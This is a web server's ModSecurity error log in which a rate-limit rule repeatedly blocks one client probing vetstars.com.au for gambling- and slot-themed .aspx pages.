[Wed May 13 11:11:13.419747 2026] [:error] [pid 3259:tid 3279] [client 51.83.237.175:43498] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20auto.aspx"] [unique_id "agPr0eWJB4YwcPVLeArM0gAAARI"]
[Wed May 13 11:11:15.274913 2026] [:error] [pid 23780:tid 23814] [client 51.83.237.175:43506] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "agPr03XgOibPjrXgeTBiGwAAABQ"]
[Wed May 13 11:11:15.486878 2026] [:error] [pid 23780:tid 23803] [client 51.83.237.175:43514] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "agPr03XgOibPjrXgeTBiHAAAAAk"]
[Wed May 13 11:11:16.288758 2026] [:error] [pid 3259:tid 3262] [client 51.83.237.175:43518] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "agPr1OWJB4YwcPVLeArM1QAAAQE"]
[Wed May 13 11:11:17.938040 2026] [:error] [pid 23787:tid 23858] [client 51.83.237.175:58806] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "agPr1R1cs5wE7VT6wirVWAAAAIo"]
[Wed May 13 11:11:18.376745 2026] [:error] [pid 23787:tid 23863] [client 51.83.237.175:58822] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "agPr1h1cs5wE7VT6wirVWgAAAI8"]
[Wed May 13 11:11:19.056120 2026] [:error] [pid 23887:tid 23909] [client 51.83.237.175:58828] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "agPr19SKmvZJZkXBFDBRtAAAAM4"]
[Wed May 13 11:11:20.953440 2026] [:error] [pid 23787:tid 23857] [client 51.83.237.175:58836] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "agPr2B1cs5wE7VT6wirVYwAAAIk"]
[Wed May 13 11:11:21.208856 2026] [:error] [pid 23887:tid 23902] [client 51.83.237.175:58850] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "agPr2dSKmvZJZkXBFDBRuQAAAMc"]
[Wed May 13 11:11:22.089210 2026] [:error] [pid 23887:tid 23918] [client 51.83.237.175:58860] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "agPr2tSKmvZJZkXBFDBRvAAAANc"]
[Wed May 13 11:11:24.080089 2026] [:error] [pid 23887:tid 23895] [client 51.83.237.175:58876] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "agPr3NSKmvZJZkXBFDBRwwAAAMA"]
[Wed May 13 11:11:24.620483 2026] [:error] [pid 3259:tid 3264] [client 51.83.237.175:58884] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "agPr3OWJB4YwcPVLeArM2wAAAQM"]
[Wed May 13 11:11:26.144641 2026] [:error] [pid 23787:tid 23853] [client 51.83.237.175:58888] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "agPr3h1cs5wE7VT6wirVaAAAAIU"]
[Wed May 13 11:11:27.321672 2026] [:error] [pid 23787:tid 23867] [client 51.83.237.175:58916] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "agPr3x1cs5wE7VT6wirVbgAAAJM"]
[Wed May 13 11:11:27.473097 2026] [:error] [pid 23887:tid 23918] [client 51.83.237.175:58904] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "agPr39SKmvZJZkXBFDBR0wAAANc"]
[Wed May 13 11:11:28.960763 2026] [:error] [pid 23887:tid 23906] [client 51.83.237.175:39100] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "agPr4NSKmvZJZkXBFDBR4gAAAMs"]
[Wed May 13 11:11:46.584140 2026] [:error] [pid 3259:tid 3273] [client 51.83.237.175:39118] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "agPr8uWJB4YwcPVLeArNKQAAAQw"]
[Wed May 13 11:11:46.959403 2026] [:error] [pid 23887:tid 23906] [client 51.83.237.175:39108] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "agPr8tSKmvZJZkXBFDBSJQAAAMs"]
[Wed May 13 11:11:47.576713 2026] [:error] [pid 3259:tid 3276] [client 51.83.237.175:39106] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "agPr8-WJB4YwcPVLeArNLAAAAQ8"]
[Wed May 13 11:11:49.780977 2026] [:error] [pid 23782:tid 23828] [client 51.83.237.175:60386] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "agPr9SBrKFYHXUGnR-qkHgAAAEc"]
[Wed May 13 11:11:50.509973 2026] [:error] [pid 23782:tid 23825] [client 51.83.237.175:60390] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "agPr9iBrKFYHXUGnR-qkHwAAAEQ"]
[Wed May 13 11:11:50.804393 2026] [:error] [pid 23782:tid 23827] [client 51.83.237.175:60406] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "agPr9iBrKFYHXUGnR-qkIAAAAEY"]
[Wed May 13 11:11:52.549887 2026] [:error] [pid 23780:tid 23803] [client 51.83.237.175:60408] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "agPr-HXgOibPjrXgeTBiKQAAAAk"]
[Wed May 13 11:11:53.480054 2026] [:error] [pid 23887:tid 23899] [client 51.83.237.175:60424] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "agPr-dSKmvZJZkXBFDBSLwAAAMQ"]
[Wed May 13 11:11:53.714071 2026] [:error] [pid 23887:tid 23913] [client 51.83.237.175:60436] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "agPr-dSKmvZJZkXBFDBSMAAAANI"]
[Wed May 13 11:11:55.267838 2026] [:error] [pid 23780:tid 23809] [client 51.83.237.175:60446] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "agPr-3XgOibPjrXgeTBiKgAAAA8"]
[Wed May 13 11:11:56.267817 2026] [:error] [pid 23887:tid 23896] [client 51.83.237.175:60456] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "agPr_NSKmvZJZkXBFDBSPQAAAME"]
[Wed May 13 11:11:56.567171 2026] [:error] [pid 23887:tid 23901] [client 51.83.237.175:60462] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "agPr_NSKmvZJZkXBFDBSPwAAAMY"]
[Wed May 13 11:11:58.225591 2026] [:error] [pid 23887:tid 23904] [client 51.83.237.175:45126] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "agPr_tSKmvZJZkXBFDBSQwAAAMk"]
[Wed May 13 11:11:59.025709 2026] [:error] [pid 23787:tid 23863] [client 51.83.237.175:45142] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "agPr_x1cs5wE7VT6wirViAAAAI8"]
[Wed May 13 11:11:59.323703 2026] [:error] [pid 23887:tid 23918] [client 51.83.237.175:45156] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "agPr_9SKmvZJZkXBFDBSSgAAANc"]
[Wed May 13 11:12:00.757973 2026] [:error] [pid 23887:tid 23914] [client 51.83.237.175:45170] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "agPsANSKmvZJZkXBFDBSTwAAANM"]
[Wed May 13 11:12:01.849572 2026] [:error] [pid 23887:tid 23895] [client 51.83.237.175:45184] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "agPsAdSKmvZJZkXBFDBSUgAAAMA"]
[Wed May 13 11:12:02.440066 2026] [:error] [pid 23782:tid 23836] [client 51.83.237.175:45200] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "agPsAiBrKFYHXUGnR-qkIQAAAE8"]
[Wed May 13 11:12:04.341651 2026] [:error] [pid 23887:tid 23905] [client 51.83.237.175:45208] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "agPsBNSKmvZJZkXBFDBSWgAAAMo"]
[Wed May 13 11:12:04.602144 2026] [:error] [pid 23787:tid 23855] [client 51.83.237.175:45220] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "agPsBB1cs5wE7VT6wirVjAAAAIc"]
[Wed May 13 11:12:05.029445 2026] [:error] [pid 23787:tid 23860] [client 51.83.237.175:45232] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "agPsBR1cs5wE7VT6wirVjgAAAIw"]
[Wed May 13 11:12:07.069416 2026] [:error] [pid 23787:tid 23857] [client 51.83.237.175:45248] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "agPsBx1cs5wE7VT6wirVkAAAAIk"]
[Wed May 13 11:12:07.838280 2026] [:error] [pid 23780:tid 23806] [client 51.83.237.175:46422] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "agPsB3XgOibPjrXgeTBiLwAAAAw"]
[Wed May 13 11:12:08.046432 2026] [:error] [pid 23782:tid 23839] [client 51.83.237.175:46438] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "agPsCCBrKFYHXUGnR-qkJAAAAFI"]
[Wed May 13 11:12:10.527073 2026] [:error] [pid 23887:tid 23898] [client 51.83.237.175:46440] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "agPsCtSKmvZJZkXBFDBSZgAAAMM"]
[Wed May 13 11:12:10.724520 2026] [:error] [pid 23887:tid 23918] [client 51.83.237.175:46442] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "agPsCtSKmvZJZkXBFDBSaAAAANc"]
[Wed May 13 11:12:11.105464 2026] [:error] [pid 23887:tid 23912] [client 51.83.237.175:46454] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "agPsC9SKmvZJZkXBFDBSawAAANE"]
[Wed May 13 11:12:13.556326 2026] [:error] [pid 23887:tid 23917] [client 51.83.237.175:46470] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "agPsDdSKmvZJZkXBFDBScAAAANY"]
[Wed May 13 11:12:13.600490 2026] [:error] [pid 23887:tid 23914] [client 51.83.237.175:46476] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "agPsDdSKmvZJZkXBFDBScQAAANM"]
[Wed May 13 11:12:13.880988 2026] [:error] [pid 23787:tid 23850] [client 51.83.237.175:46480] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "agPsDR1cs5wE7VT6wirVkgAAAII"]
[Wed May 13 11:12:16.472418 2026] [:error] [pid 23787:tid 23853] [client 51.83.237.175:46482] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "agPsEB1cs5wE7VT6wirVlAAAAIU"]
[Wed May 13 11:12:16.732548 2026] [:error] [pid 23787:tid 23863] [client 51.83.237.175:46512] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "agPsEB1cs5wE7VT6wirVlQAAAI8"]
[Wed May 13 11:12:16.802649 2026] [:error] [pid 23787:tid 23871] [client 51.83.237.175:46496] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "agPsEB1cs5wE7VT6wirVlgAAAJc"]
[Wed May 13 11:12:19.498003 2026] [:error] [pid 23887:tid 23910] [client 51.83.237.175:47394] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "agPsE9SKmvZJZkXBFDBSgQAAAM8"]
[Wed May 13 11:12:19.659258 2026] [:error] [pid 3259:tid 3269] [client 51.83.237.175:47404] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "agPsE-WJB4YwcPVLeArNhgAAAQg"]
[Wed May 13 11:12:20.168184 2026] [:error] [pid 23887:tid 23915] [client 51.83.237.175:47416] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "agPsFNSKmvZJZkXBFDBSgwAAANQ"]
[Wed May 13 11:12:22.268549 2026] [:error] [pid 23887:tid 23899] [client 51.83.237.175:47430] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "agPsFtSKmvZJZkXBFDBSiwAAAMQ"]
[Wed May 13 11:12:22.307103 2026] [:error] [pid 23887:tid 23911] [client 51.83.237.175:47432] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "agPsFtSKmvZJZkXBFDBSjQAAANA"]
[Wed May 13 11:12:23.377954 2026] [:error] [pid 3259:tid 3279] [client 51.83.237.175:47436] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "agPsF-WJB4YwcPVLeArNkgAAARI"]
